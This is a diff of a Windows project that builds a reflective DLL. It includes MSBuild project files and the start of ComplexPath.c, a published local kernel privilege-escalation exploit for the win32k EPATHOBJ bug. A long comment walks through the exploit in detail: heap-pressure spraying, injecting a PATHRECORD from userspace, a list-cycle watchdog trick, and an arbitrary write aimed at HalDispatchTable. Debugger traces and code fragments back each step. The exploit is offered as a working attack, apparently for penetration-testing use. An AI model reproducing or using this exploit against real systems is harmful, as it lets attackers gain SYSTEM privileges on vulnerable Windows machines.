<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
<PostBuildEvent>
<Command>
</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>true</BufferSecurityCheck>
<CompileAs>Default</CompileAs>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile>
</Link>
<PostBuildEvent>
<Command>copy ..\ARM\Release\reflective_dll.arm.dll ..\bin\</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
</Link>
<PostBuildEvent>
<Command>copy $(OutDir)$(ProjectName).x64.dll ..\bin\</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\ReflectiveDll.c" />
<ClCompile Include="src\ReflectiveLoader.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\ComplexPath.h" />
<ClInclude Include="src\ReflectiveDLLInjection.h" />
<ClInclude Include="src\ReflectiveLoader.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -1,22 +1,32 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<MASM Include="..\..\source\backcompat\backcompat.asm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="src\ReflectiveDll.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\ReflectiveLoader.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\ReflectiveDLLInjection.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\ReflectiveLoader.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\ComplexPath.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
+529
View File
@@ -0,0 +1,529 @@
//
// --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
// ----------------------------------------- taviso@cmpxchg8b.com -----
//
// INTRODUCTION
//
// There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
// PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the
// next list pointer. The bug is really nice, but exploitation when
// allocations start failing is tricky.
//
// ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this,
// PATHRECORD **pppr,
// ULONG *pcMax,
// ULONG cNeeded)
// .text:BFA122CA mov esi, [ebp+ppr]
// .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev]
// .text:BFA122D0 push edi
// .text:BFA122D1 mov edi, [ebp+pprNew]
// .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax
// .text:BFA122D7 lea eax, [edi+PATHRECORD.count]
// .text:BFA122DA xor edx, edx
// .text:BFA122DC mov [eax], edx
// .text:BFA122DE mov ecx, [esi+PATHRECORD.flags]
// .text:BFA122E1 and ecx, not (PD_BEZIER)
// .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx
// .text:BFA122E7 mov [ebp+pprNewCountPtr], eax
// .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx
// .text:BFA122ED jnz short loc_BFA122F7
// .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath]
// .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi
//
// It turns out this mostly works because newpathrec() is backed by newpathalloc()
// which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.
//
// ; PVOID __stdcall PALLOCMEM(size_t size, int tag)
// .text:BF9160D7 xor esi, esi
// .text:BF9160DE push esi
// .text:BF9160DF push esi
// .text:BF9160E0 push [ebp+tag]
// .text:BF9160E3 push [ebp+size]
// .text:BF9160E6 call _HeavyAllocPool@16 ; HeavyAllocPool(x,x,x,x)
// .text:BF9160EB mov esi, eax
// .text:BF9160ED test esi, esi
// .text:BF9160EF jz short loc_BF9160FF
// .text:BF9160F1 push [ebp+size] ; size_t
// .text:BF9160F4 push 0 ; int
// .text:BF9160F6 push esi ; void *
// .text:BF9160F7 call _memset
//
// However, the PATHALLOC allocator includes it's own freelist implementation, and
// if that codepath can satisfy a request the memory isn't zeroed and returned
// directly to the caller. This effectively means that we can add our own objects
// to the PATHRECORD chain.
//
// We can force this behaviour under memory pressure relatively easily, I just
// spam HRGN objects until they start failing. This isn't super reliable, but it's
// good enough for testing.
//
// // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
// // failure. Seriously, do some damn QA Microsoft, wtf.
// for (Size = 1 << 26; Size; Size >>= 1) {
// while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
// ;
// }
//
// Adding user controlled blocks to the freelist is a little trickier, but I've
// found that flattening large lists of bezier curves added with PolyDraw() can
// accomplish this reliably. The code to do this is something along the lines of:
//
// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
// Points[PointNum].x = 0x41414141 >> 4;
// Points[PointNum].y = 0x41414141 >> 4;
// PointTypes[PointNum] = PT_BEZIERTO;
// }
//
// for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
// BeginPath(Device);
// PolyDraw(Device, Points, PointTypes, PointNum);
// EndPath(Device);
// FlattenPath(Device);
// FlattenPath(Device);
// EndPath(Device);
// }
//
// We can verify this is working by putting a breakpoint after newpathrec, and
// verifying the buffer is filled with recognisable values when it returns:
//
// kd> u win32k!EPATHOBJ::pprFlattenRec+1E
// win32k!EPATHOBJ::pprFlattenRec+0x1e:
// 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69)
// 95c922bd 83f801 cmp eax,1
// 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)
// 95c922c2 33c0 xor eax,eax
// 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)
// 95c922c9 56 push esi
// 95c922ca 8b7508 mov esi,dword ptr [ebp+8]
// 95c922cd 8b4604 mov eax,dword ptr [esi+4]
// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"
// kd> g
// fe938fac 41414140
// fe938fac 41414140
// fe938fac 41414140
// fe938fac 41414140
// fe938fac 41414140
//
// The breakpoint dumps the first dword of the returned buffer, which matches the
// bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
// EPATHOBJ->records->head->next->next into userspace is no problem, and we can
// easily break the list traversal in bFlattten():
//
// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
// {
// EPATHOBJ *pathobj; // esi@1
// PATHOBJ *ppath; // eax@1
// BOOL result; // eax@2
// PATHRECORD *ppr; // eax@3
//
// pathobj = this;
// ppath = this->ppath;
// if ( ppath )
// {
// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
// {
// if ( ppr->flags & PD_BEZIER )
// {
// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
// if ( !ppr )
// goto LABEL_2;
// }
// }
// pathobj->fl &= 0xFFFFFFFE;
// result = 1;
// }
// else
// {
// LABEL_2:
// result = 0;
// }
// return result;
// }
//
// All we have to do is allocate our own PATHRECORD structure, and then spam
// PolyDraw() with POINTFIX structures containing co-ordinates that are actually
// pointers shifted right by 4 (for this reason the structure must be aligned so
// the bits shifted out are all zero).
//
// We can see this in action by putting a breakpoint in bFlatten when ppr has
// moved into userspace:
//
// kd> u win32k!EPATHOBJ::bFlatten
// win32k!EPATHOBJ::bFlatten:
// 95c92517 8bff mov edi,edi
// 95c92519 56 push esi
// 95c9251a 8bf1 mov esi,ecx
// 95c9251c 8b4608 mov eax,dword ptr [esi+8]
// 95c9251f 85c0 test eax,eax
// 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527)
// 95c92523 33c0 xor eax,eax
// 95c92525 5e pop esi
// kd> u
// win32k!EPATHOBJ::bFlatten+0xf:
// 95c92526 c3 ret
// 95c92527 8b4014 mov eax,dword ptr [eax+14h]
// 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540)
// 95c9252c f6400810 test byte ptr [eax+8],10h
// 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)
// 95c92532 50 push eax
// 95c92533 8bce mov ecx,esi
// 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a)
//
// So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS
// flags (defined in winddi.h). Let's break if it's in userspace:
//
// kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"
// kd> g
// 95c9252c f6400810 test byte ptr [eax+8],10h
// kd> r
// eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d
// eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc
// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
// win32k!EPATHOBJ::bFlatten+0x15:
// 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=??
//
// The question is how to turn that into code execution? It's obviously trivial to
// call prFlattenRec with our userspace PATHRECORD..we can do that by setting
// PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure
// poses a problem.
//
// Let me demonstrate calling it with my own PATHRECORD:
//
// // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
// // pathrecord chain.
// PathRecord = VirtualAlloc(NULL,
// sizeof(PATHRECORD),
// MEM_COMMIT | MEM_RESERVE,
// PAGE_EXECUTE_READWRITE);
//
// // Initialise with recognisable debugging values.
// FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
//
// PathRecord->next = (PVOID)(0x41414141);
// PathRecord->prev = (PVOID)(0x42424242);
//
// // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
// // EPATHOBJ::bFlatten(), do that here.
// PathRecord->flags = PD_BEZIERS;
//
// // Generate a large number of Bezier Curves made up of pointers to our
// // PATHRECORD object.
// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
// Points[PointNum].x = (ULONG)(PathRecord) >> 4;
// Points[PointNum].y = (ULONG)(PathRecord) >> 4;
// PointTypes[PointNum] = PT_BEZIERTO;
// }
//
// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'"
// kd> g
// win32k!EPATHOBJ::pprFlattenRec+0x28:
// 95c922c2 33c0 xor eax,eax
// kd> dd ebp+8 L1
// a3633be0 00130000
//
// The ppr object is in userspace! If we peek at it:
//
// kd> dd poi(ebp+8)
// 00130000 41414141 42424242 00000010 cccccccc
// 00130010 00000000 00000000 00000000 00000000
// 00130020 00000000 00000000 00000000 00000000
// 00130030 00000000 00000000 00000000 00000000
// 00130040 00000000 00000000 00000000 00000000
// 00130050 00000000 00000000 00000000 00000000
// 00130060 00000000 00000000 00000000 00000000
// 00130070 00000000 00000000 00000000 00000000
//
// There's the next and prev pointer.
//
// kd> kvn
// # ChildEBP RetAddr Args to Child
// 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])
// 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])
// 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])
// 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34)
//
// The question is how to get PATHALLOC() to succeed under memory pressure so we
// can make this exploitable? I'm quite proud of this list cycle trick,
// here's how to turn it into an arbitrary write.
//
// First, we create a watchdog thread that will patch the list atomically
// when we're ready. This is needed because we can't exploit the bug while
// HeavyAllocPool is failing, because of the early exit in pprFlattenRec:
//
// .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
// .text:BFA122BD cmp eax, 1 ; Check for failure
// .text:BFA122C0 jz short continue
// .text:BFA122C2 xor eax, eax ; Exit early
// .text:BFA122C4 jmp early_exit
//
// So we create a list node like this:
//
// PathRecord->Next = PathRecord;
// PathRecord->Flags = 0;
//
// Then EPATHOBJ::bFlatten() spins forever doing nothing:
//
// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
// {
// /* ... */
//
// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
// {
// if ( ppr->flags & PD_BEZIER )
// {
// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
// }
// }
//
// /* ... */
// }
//
// While it's spinning, we clean up in another thread, then patch the thread (we
// can do this, because it's now in userspace) to trigger the exploit. The first
// block of pprFlattenRec does something like this:
//
// if ( pprNew->pprPrev )
// pprNew->pprPrev->pprnext = pprNew;
//
// Let's make that write to 0xCCCCCCCC.
//
// DWORD WINAPI WatchdogThread(LPVOID Parameter)
// {
//
// // This routine waits for a mutex object to timeout, then patches the
// // compromised linked list to point to an exploit. We need to do this.
// LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex@%p",
// GetCurrentThreadId(),
// Mutex);
//
// if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
// // It looks like the main thread is stuck in a call to FlattenPath(),
// // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
// // up, and then patch the list to trigger our exploit.
// while (NumRegion--)
// DeleteObject(Regions[NumRegion]);
//
// LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);
//
// InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
//
// } else {
// LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
// }
//
// return 0;
// }
//
// PathRecord->next = PathRecord;
// PathRecord->prev = (PVOID)(0x42424242);
// PathRecord->flags = 0;
//
// ExploitRecord.next = NULL;
// ExploitRecord.prev = 0xCCCCCCCC;
// ExploitRecord.flags = PD_BEZIERS;
//
// Here's the output on Windows 8:
//
// kd> g
// *******************************************************************************
// * *
// * Bugcheck Analysis *
// * *
// *******************************************************************************
//
// Use !analyze -v to get detailed debugging information.
//
// BugCheck 50, {cccccccc, 1, 8f18972e, 2}
// *** WARNING: Unable to verify checksum for ComplexPath.exe
// *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
// Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )
//
// Followup: MachineOwner
// ---------
//
// nt!RtlpBreakWithStatusInstruction:
// 810f46f4 cc int 3
// kd> kv
// ChildEBP RetAddr Args to Child
// a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
// a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
// a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
// a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
// a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
// a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
// a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
// a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
// a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
// a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
// a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
// a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)
// 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
// 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
// WARNING: Stack unwind information not available. Following frames may be wrong.
// 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f
// 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade
// 0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
// 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])
// 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
// kd> .trap a03aba2c
// ErrCode = 00000002
// eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
// eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc
// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
// win32k!EPATHOBJ::pprFlattenRec+0x82:
// 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=????????
// kd> vertarget
// Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
// Product: WinNt, suite: TerminalServer SingleUserTS
// Built by: 9200.16581.x86fre.win8_gdr.130410-1505
// Machine Name:
// Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48
// Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)
// System Uptime: 0 days 0:02:30.432
// kd> .bugcheck
// Bugcheck code 00000050
// Arguments cccccccc 00000001 8f18972e 00000002
//
// EXPLOITATION
//
// We're somewhat limited with what we can do, as we don't control what's
// written, it's always a pointer to a PATHRECORD object. We can clobber a
// function pointer, but the problem is making it point somewhere useful.
//
// The solution is to make the Next pointer a valid sequence of instructions,
// which jumps to our second stage payload. We have to do that in just 4 bytes
// (unless you can find a better call site, let me know if you spot one).
//
// Thanks to progmboy for coming up with the solution: you reach back up the
// stack and pull a SystemCall parameter out of the stack. It turns out
// NtQueryIntervalProfile matches this requirement perfectly.
//
// INSTRUCTIONS
//
// C:\> cl ComplexPath.c
// C:\> ComplexPath
//
// You might need to run it several times before we get the allocation we need,
// it won't crash if it doesn't work, so you can keep trying. I'm not sure how
// to improve that.
//
// CREDIT
//
// Tavis Ormandy <taviso@cmpxchg8b.com>
// progmboy <programmeboy@gmail.com>
//
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include <stdio.h>
#include <stdarg.h>
#include <stddef.h>
#include <windows.h>
#include <assert.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>
#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")
#pragma comment(lib, "shell32")
#pragma comment(linker, "/SECTION:.text,ERW")
#ifndef PAGE_SIZE
# define PAGE_SIZE 0x1000
#endif
#define MAX_POLYPOINTS (8192 * 3)
#define MAX_REGIONS 8192
#define CYCLE_TIMEOUT 10000
static POINT Points[MAX_POLYPOINTS];
static BYTE PointTypes[MAX_POLYPOINTS];
static HRGN Regions[MAX_REGIONS];
static ULONG ComplexPathNumRegion = 0;
static HANDLE Mutex;
static DWORD ComplexPathFinished = 0;
// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH 0x00000001
#define PD_ENDSUBPATH 0x00000002
#define PD_RESETSTYLE 0x00000004
#define PD_CLOSEFIGURE 0x00000008
#define PD_BEZIERS 0x00000010
typedef struct _POINTFIX
{
ULONG x;
ULONG y;
} POINTFIX, *PPOINTFIX;
// Approximated from reverse engineering.
typedef struct _PATHRECORD {
struct _PATHRECORD *next;
struct _PATHRECORD *prev;
ULONG flags;
ULONG count;
POINTFIX points[4];
} PATHRECORD, *PPATHRECORD;
PPATHRECORD PathRecord;
PATHRECORD ExploitRecord;
PPATHRECORD ExploitRecordExit;
enum { SystemModuleInformation = 11 };
enum { ProfileTotalIssues = 2 };
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
FARPROC NtQuerySystemInformation;
FARPROC NtQueryIntervalProfile;
FARPROC PsReferencePrimaryToken;
FARPROC PsLookupProcessByProcessId;
PULONG HalDispatchTable;
ULONG HalQuerySystemInformation;
PULONG TargetPid;
PVOID *PsInitialSystemProcess;
VOID elevator_complex_path();
//#define DEBUGTRACE 1
#ifdef DEBUGTRACE
#define dprintf(...) real_dprintf(__VA_ARGS__)
#else
#define dprintf(...) do{}while(0);
#endif
static void real_dprintf(char *format, ...) {
va_list args;
char buffer[1024];
va_start(args,format);
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
strcat_s(buffer, sizeof(buffer), "\r\n");
OutputDebugStringA(buffer);
}
@@ -1,5 +1,5 @@
//===============================================================================================//
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
